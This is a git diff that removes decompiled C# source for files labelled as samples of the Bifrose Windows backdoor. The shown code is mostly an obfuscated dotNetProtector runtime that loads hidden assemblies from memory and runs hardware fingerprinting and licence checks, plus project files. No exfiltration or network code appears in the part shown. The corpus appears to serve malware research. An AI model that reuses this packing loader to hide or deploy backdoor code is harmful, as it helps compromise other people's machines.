-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace õ -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u00A6 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/õ/¿.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/õ/¿.cs deleted file mode 100644 index 863ce4d9..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/õ/¿.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.¿ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace õ -{ - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u00BF - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/õ/ñ.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/õ/ñ.cs deleted file mode 100644 index e553f644..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/õ/ñ.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.ñ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace õ -{ - [UnsafeValueType] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 14)] - internal struct ñ - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/õ/ü.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/õ/ü.cs deleted file mode 100644 index b70e6883..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/õ/ü.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.ü -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace õ -{ - [DebugInfoInPDB] - [NativeCppClass] - [UnsafeValueType] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 18)] - internal struct ü - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/AssemblyInfo.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/AssemblyInfo.cs deleted file mode 100644 index b19cc14e..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/AssemblyInfo.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Permissions; - -[assembly: Guid("728093e4-7457-46be-8e8e-0fdee382cfff")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: ComVisible(false)] -[assembly: AssemblyProduct("Cursor")] -[assembly: AssemblyDescription("1")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCopyright("Copyright © 2010")] -[assembly: AssemblyTitle("Cursor")] -[assembly: AssemblyCompany("")] -[assembly: CLSCompliant(true)] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: SecurityPermission(SecurityAction.RequestMinimum, UnmanagedCode = true)] -[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/Backdoor.Win32.Bifrose.fvnh.csproj b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/Backdoor.Win32.Bifrose.fvnh.csproj deleted file mode 100644 index 41bbac04..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/Backdoor.Win32.Bifrose.fvnh.csproj +++ /dev/null @@ -1,121 +0,0 @@ - - - - - Debug - AnyCPU - {2278317B-09BA-43EA-BE42-888E71B80442} - WinExe - Cursor - 1.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - true - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - true - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/Backdoor.Win32.Bifrose.fvnh.sln b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/Backdoor.Win32.Bifrose.fvnh.sln deleted file mode 100644 index 7d3d4b55..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/Backdoor.Win32.Bifrose.fvnh.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cursor", "Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.csproj", "{2278317B-09BA-43EA-BE42-888E71B80442}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {2278317B-09BA-43EA-BE42-888E71B80442}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {2278317B-09BA-43EA-BE42-888E71B80442}.Debug|Any CPU.Build.0 = Debug|Any CPU - {2278317B-09BA-43EA-BE42-888E71B80442}.Release|Any CPU.ActiveCfg = Release|Any CPU - {2278317B-09BA-43EA-BE42-888E71B80442}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/PvLogiciels/dotNetProtector/RuntimeInterop.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/PvLogiciels/dotNetProtector/RuntimeInterop.cs deleted file mode 100644 index 1a89df42..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/PvLogiciels/dotNetProtector/RuntimeInterop.cs +++ /dev/null @@ -1,651 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: PvLogiciels.dotNetProtector.RuntimeInterop -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using \u0081é; -using \u0082\u00BC; -using õ; -using System; -using System.Collections; -using System.ComponentModel; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Text; - -namespace PvLogiciels.dotNetProtector -{ - public class RuntimeInterop : IRuntime - { - internal Assembly[] ò; - internal Assembly \u0081\u00BD; - internal string \u0082\u00B4; - - private static unsafe byte* Ô(Assembly _param0) => (byte*) Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]).ToPointer(); - - internal RuntimeInterop() => this.ò = new Assembly[0]; - - internal unsafe Assembly \u0081â(IntPtr _param1) - { - int id = AppDomain.CurrentDomain.Id; - byte* numPtr = (byte*) \u0082\u00BB.\u00B7(_param1.ToPointer()); - if ((IntPtr) numPtr == IntPtr.Zero) - return (Assembly) null; - IntPtr ptr = (IntPtr) (void*) numPtr; - _param1 = ptr; - int num1 = Marshal.ReadInt32(ptr); - int length1 = Marshal.ReadInt32(_param1, 4); - int length2 = Marshal.ReadInt32(_param1, 8); - IntPtr source1 = (IntPtr) (void*) (numPtr + 12); - IntPtr source2 = (IntPtr) (void*) (numPtr + length1 + 12); - byte[] numArray = new byte[length1]; - byte[] destination = numArray; - int length3 = length1; - Marshal.Copy(source1, destination, 0, length3); - Assembly assembly; - if (length2 != 0) - { - byte[] rawSymbolStore = new byte[length2]; - Marshal.Copy(source2, numArray, 0, length2); - assembly = Assembly.Load(numArray, rawSymbolStore); - } - else - assembly = Assembly.Load(numArray); - Marshal.FreeCoTaskMem(_param1); - if ((object) assembly != null && num1 >= 0) - { - Type[] types = assembly.GetTypes(); - IntPtr num2 = types[types.Length - 1].TypeHandle.Value; - \u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(assembly.GetLoadedModules()[0]).ToPointer(), num2.ToPointer(), num1, id); - } - return assembly; - } - - internal static unsafe void Î(Assembly _param0) - { - string assemblyString = PvLogiciels.dotNetProtector.Runtime.GetAssemblyString(_param0); - IntPtr ptr = IntPtr.Zero; - if (assemblyString != (string) null) - ptr = Marshal.StringToCoTaskMemAnsi(assemblyString); - \u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]).ToPointer(), (void*) 0, (int*) 0, (sbyte*) ptr.ToPointer(), AppDomain.CurrentDomain.Id); - if (!(ptr != IntPtr.Zero)) - return; - Marshal.FreeCoTaskMem(ptr); - } - - public virtual Assembly GetEntryAssembly() - { - if ((object) \u0081ê.\u0081\u0099 != null) - return \u0081ê.\u0081\u0099; - Assembly entryAssembly = Assembly.GetEntryAssembly(); - if ((object) entryAssembly != null) - { - \u0081ê.\u0081\u0099 = entryAssembly; - return entryAssembly; - } - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - if (executingAssembly.FullName.StartsWith("PvLogiciels.dotNetProtector.Runtime")) - return (Assembly) null; - \u0081ê.\u0081\u0099 = executingAssembly; - return executingAssembly; - } - - public static IRuntime InitRuntime() - { - RuntimeInterop runtimeInterop = new RuntimeInterop(); - if (AppDomain.CurrentDomain.IsDefaultAppDomain()) - { - AppDomain.CurrentDomain.ProcessExit += new EventHandler(RuntimeInterop.AppDomain_ProcessExit); - return (IRuntime) runtimeInterop; - } - AppDomain.CurrentDomain.DomainUnload += new EventHandler(new \u0081Þ(AppDomain.CurrentDomain, AppDomain.CurrentDomain.Id).\u0081\u0084); - return (IRuntime) runtimeInterop; - } - - public static void AppDomain_ProcessExit(object sender, EventArgs e) - { - GC.Collect(); - GC.WaitForPendingFinalizers(); - \u0082\u00BB.\u0081\u0086(); - } - - public virtual void NGenInitRuntime() - { - } - - public virtual ulong GetComputerHash() => \u0082\u00BB.\u0081\u008C(); - - public virtual long GetMacAddress() => \u0082\u00BB.Ç(); - - public virtual ulong GetBiosHash() => \u0082\u00BB.Ï(); - - public virtual int UnloadDomain() => \u0082\u00BB.\u0095(AppDomain.CurrentDomain.Id); - - public virtual unsafe int InitModule(Type pReserved1, IntPtr pReserved2, string Reserved3) - { - IntPtr ptr = IntPtr.Zero; - if (Reserved3 != (string) null) - ptr = Marshal.StringToCoTaskMemAnsi(Reserved3); - IntPtr num1 = pReserved1.TypeHandle.Value; - int num2 = \u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer(), num1.ToPointer(), (int*) pReserved2.ToPointer(), (sbyte*) ptr.ToPointer(), AppDomain.CurrentDomain.Id); - if (ptr != IntPtr.Zero) - Marshal.FreeCoTaskMem(ptr); - if (num2 == 2) - { - this.\u0081\u00BD = pReserved1.Assembly; - this.\u0082\u00B4 = pReserved1.Assembly.GetName().Name; - int length = \u0082\u00BB.\u0081\u009B(); - if (length != 0) - { - this.ò = new Assembly[length]; - int index = 0; - if (0 < length) - { - do - { - this.ò[index] = (Assembly) null; - ++index; - } - while (index < length); - } - } - } - return num2; - } - - public virtual unsafe string DesignLicenseKey(Type pReserved1, string pReserved2) - { - IntPtr ptr = Marshal.AllocCoTaskMem(IntPtr.Size); - IntPtr coTaskMemAnsi = Marshal.StringToCoTaskMemAnsi(pReserved2); - \u0082\u00BB.Ý((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer(), (sbyte*) coTaskMemAnsi.ToPointer(), (sbyte**) ptr.ToPointer()); - IntPtr num = Marshal.ReadIntPtr(ptr); - string str = (string) null; - if (num != IntPtr.Zero) - { - string stringAnsi = Marshal.PtrToStringAnsi(num); - Marshal.FreeHGlobal(num); - str = stringAnsi; - } - Marshal.FreeCoTaskMem(ptr); - if (!(coTaskMemAnsi != IntPtr.Zero)) - return str; - Marshal.FreeCoTaskMem(coTaskMemAnsi); - return str; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool SameSoftware(Assembly pReserved, IntPtr pSoft, ulong SwMajor) - { - int num; - if (\u0082\u00BB.\u0081\u00A5((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pSoft.ToPointer(), SwMajor, &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num != 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool IsLicensed(Assembly pReserved, string licenseKey, [MarshalAs(UnmanagedType.U1)] bool usb) - { - IntPtr coTaskMemAnsi = Marshal.StringToCoTaskMemAnsi(licenseKey); - int num1 = usb ? 1 : 0; - int num2 = \u0082\u00BB.\u0081ª((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) coTaskMemAnsi.ToPointer(), num1); - if (coTaskMemAnsi != IntPtr.Zero) - Marshal.FreeCoTaskMem(coTaskMemAnsi); - return num2 != 0; - } - - public virtual unsafe int HardwareScore(Assembly pReserved, ulong HwConfig1, ulong HwConfig2) - { - int num; - if (\u0082\u00BB.\u00A1((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), HwConfig1, HwConfig2, &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num; - } - - public virtual unsafe IntPtr GenProductKey( - Assembly pReserved, - IntPtr pKeys, - uint LicenseID, - ulong data) - { - sbyte* numPtr; - if (\u0082\u00BB.\u0081µ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), LicenseID, data, &numPtr) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) numPtr; - } - - public virtual unsafe IntPtr GenProductKey( - Assembly pReserved, - IntPtr pKeys, - uint LicenseID) - { - sbyte* numPtr; - if (\u0082\u00BB.\u0081µ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), LicenseID, &numPtr) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) numPtr; - } - - public virtual unsafe uint GetLicenseId(Assembly pReserved, IntPtr pProductKey) - { - uint licenseId; - if (\u0082\u00BB.\u0081\u00BC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pProductKey.ToPointer(), &licenseId) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return licenseId; - } - - public virtual unsafe ulong GetProductkeyData(Assembly pReserved, IntPtr pProductKey) - { - uint num; - ulong productkeyData; - if (\u0082\u00BB.\u0081\u00BC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pProductKey.ToPointer(), &num, &productkeyData) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return productkeyData; - } - - public virtual unsafe IntPtr DecodeActivationString( - Assembly pReserved, - IntPtr pKeys, - IntPtr pActivationString) - { - byte* numPtr; - if (\u0082\u00BB.\u0081Ä((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), (sbyte*) pActivationString.ToPointer(), &numPtr) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) numPtr; - } - - public virtual unsafe IntPtr EncodeActivationRequest(Assembly pReserved, IntPtr preq) - { - sbyte* numPtr; - if (\u0082\u00BB.Ã((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), preq.ToPointer(), &numPtr) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) numPtr; - } - - public virtual unsafe IntPtr GetConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration) - { - sbyte* config; - if (\u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, &config) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) config; - } - - public virtual unsafe IntPtr GetConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration, - IntPtr pAssemblyFile) - { - sbyte* config; - if (\u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, (sbyte*) pAssemblyFile.ToPointer(), &config) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) config; - } - - public virtual unsafe IntPtr GetConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration, - AssemblyName Name) - { - string name = Name.Name; - byte[] bytes = Encoding.UTF8.GetBytes(string.Concat((object) "\0")); - GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned); - IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0); - sbyte* config; - int num2 = \u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, (byte*) num1.ToPointer(), (ushort) Name.Version.Major, (ushort) Name.Version.Minor, &config); - gcHandle.Free(); - if (num2 == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) config; - } - - public virtual unsafe string GetThumbPrint(Assembly pReserved) - { - \u0081Ï ï; - if (\u0082\u00BB.\u0081\u00D7((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (byte*) &ï) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - StringBuilder stringBuilder = new StringBuilder(); - int num = 0; - do - { - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - stringBuilder.Append(string.Format("{0:x}", (object) ^(byte&) (num + (IntPtr) &ï)).PadLeft(2, '0')); - ++num; - } - while (num < 20); - return stringBuilder.ToString(); - } - - public virtual unsafe byte[] GetConfigForDemo(Assembly pReserved) - { - uint length; - byte* numPtr; - if (\u0082\u00BB.\u0081\u00B4((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &length, &numPtr) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - byte[] destination = new byte[(int) length]; - IntPtr num = (IntPtr) (void*) numPtr; - Marshal.Copy(num, destination, 0, (int) length); - Marshal.FreeCoTaskMem(num); - return destination; - } - - public virtual unsafe IntPtr GetUsbConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration, - ulong UsbHash, - ulong UsbIdentity) - { - sbyte* usbConfig; - if (\u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, &usbConfig) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) usbConfig; - } - - public virtual unsafe IntPtr GetUsbConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration, - ulong UsbHash, - ulong UsbIdentity, - IntPtr pAssemblyFile) - { - sbyte* usbConfig; - if (\u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, (sbyte*) pAssemblyFile.ToPointer(), &usbConfig) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) usbConfig; - } - - public virtual unsafe IntPtr GetUsbConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration, - ulong UsbHash, - ulong UsbIdentity, - AssemblyName Name) - { - string name = Name.Name; - byte[] bytes = Encoding.UTF8.GetBytes(string.Concat((object) "\0")); - GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned); - IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0); - sbyte* usbConfig; - int num2 = \u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, (byte*) num1.ToPointer(), (ushort) Name.Version.Major, (ushort) Name.Version.Minor, &usbConfig); - gcHandle.Free(); - if (num2 == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) usbConfig; - } - - public virtual unsafe IntPtr GenerateLicense( - Assembly pReserved, - IntPtr pKeys, - IntPtr preq) - { - sbyte* license; - if (\u0082\u00BB.\u0081ð((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), &license) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) license; - } - - public virtual unsafe IntPtr GenerateLicense( - Assembly pReserved, - IntPtr pKeys, - IntPtr preq, - int tolerance, - [MarshalAs(UnmanagedType.U1)] bool ignoreMinor, - long RuntimeLicensesLimit) - { - sbyte* license; - if (\u0082\u00BB.\u0081ð((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), tolerance, ignoreMinor ? 1 : 0, RuntimeLicensesLimit, &license) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) license; - } - - public virtual unsafe IntPtr GenerateUsbLicense( - Assembly pReserved, - IntPtr pKeys, - IntPtr preq) - { - sbyte* usbLicense; - if (\u0082\u00BB.\u0081\u00AC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), &usbLicense, (byte) 0) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) usbLicense; - } - - public virtual unsafe IntPtr GenerateUsbLicense( - Assembly pReserved, - IntPtr pKeys, - IntPtr preq, - int tolerance, - [MarshalAs(UnmanagedType.U1)] bool ignoreMinor, - long RuntimeLicensesLimit) - { - sbyte* usbLicense; - if (\u0082\u00BB.\u0081\u00AC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), tolerance, ignoreMinor ? 1 : 0, RuntimeLicensesLimit, &usbLicense, (byte) 0) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) usbLicense; - } - - public virtual unsafe Assembly ResolveAssembly(string Name) - { - // ISSUE: untyped stack allocation - int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ()); - try - { - AssemblyName assemblyName = new AssemblyName(Name); - } - catch (Exception ex1) when ( - { - // ISSUE: unable to correctly present filter - uint exceptionCode = (uint) Marshal.GetExceptionCode(); - if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - uint num2 = 0; - \u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1); - try - { - try - { - return (Assembly) null; - } - catch (Exception ex2) when ( - { - // ISSUE: unable to correctly present filter - num2 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers()); - if (num2 != 0U) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - } - if (num2 != 0U) - throw; - } - finally - { - \u0082\u00BB.ã((void*) num1, (int) num2); - } - } - byte[] bytes = Encoding.UTF8.GetBytes(Name); - GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned); - IntPtr num3 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0); - int index = \u0082\u00BB.\u0082\u0082(num3.ToPointer()); - if (index >= 0) - { - Assembly[] ò = this.ò; - if (index < ò.Length) - { - if ((object) ò[index] == null) - this.ò[index] = this.\u0081â(num3); - gcHandle.Free(); - return this.ò[index]; - } - } - gcHandle.Free(); - return new AssemblyName(Name).Name == this.\u0082\u00B4 ? this.\u0081\u00BD : (Assembly) null; - } - - public virtual int ExecuteEmbLockAssembly(Type pReserved1, int Reserved2) => \u0081Ù.\u0081Ö(pReserved1.Assembly, Reserved2); - - public virtual unsafe Assembly GetEmbLockAssembly(Type pReserved1) - { - byte* numPtr = (byte*) \u0082\u00BB.î((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer()); - if ((IntPtr) numPtr == IntPtr.Zero) - return (Assembly) null; - IntPtr ptr = (IntPtr) (void*) numPtr; - int length1 = Marshal.ReadInt32(ptr); - IntPtr source = (IntPtr) (void*) (numPtr + 4); - byte[] rawAssembly = new byte[length1]; - byte[] destination = rawAssembly; - int length2 = length1; - Marshal.Copy(source, destination, 0, length2); - Assembly embLockAssembly = Assembly.Load(rawAssembly); - Marshal.FreeCoTaskMem(ptr); - return embLockAssembly; - } - - public virtual unsafe Assembly GetEmbLockAssemblyName(Type pReserved1) - { - byte* numPtr = (byte*) \u0082\u00BB.ô((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer()); - if ((IntPtr) numPtr == IntPtr.Zero) - return (Assembly) null; - IntPtr ptr = (IntPtr) (void*) numPtr; - string stringAnsi = Marshal.PtrToStringAnsi(ptr); - Marshal.FreeCoTaskMem(ptr); - Assembly lockAssemblyName = (Assembly) null; - try - { - lockAssemblyName = Assembly.Load(stringAnsi); - } - catch (Exception ex) - { - } - return lockAssemblyName; - } - - public virtual unsafe ArrayList GetEmbLockAssemblyServices(Type pReserved1) - { - byte* ptr1 = (byte*) \u0082\u00BB.\u0082\u008B((byte*) 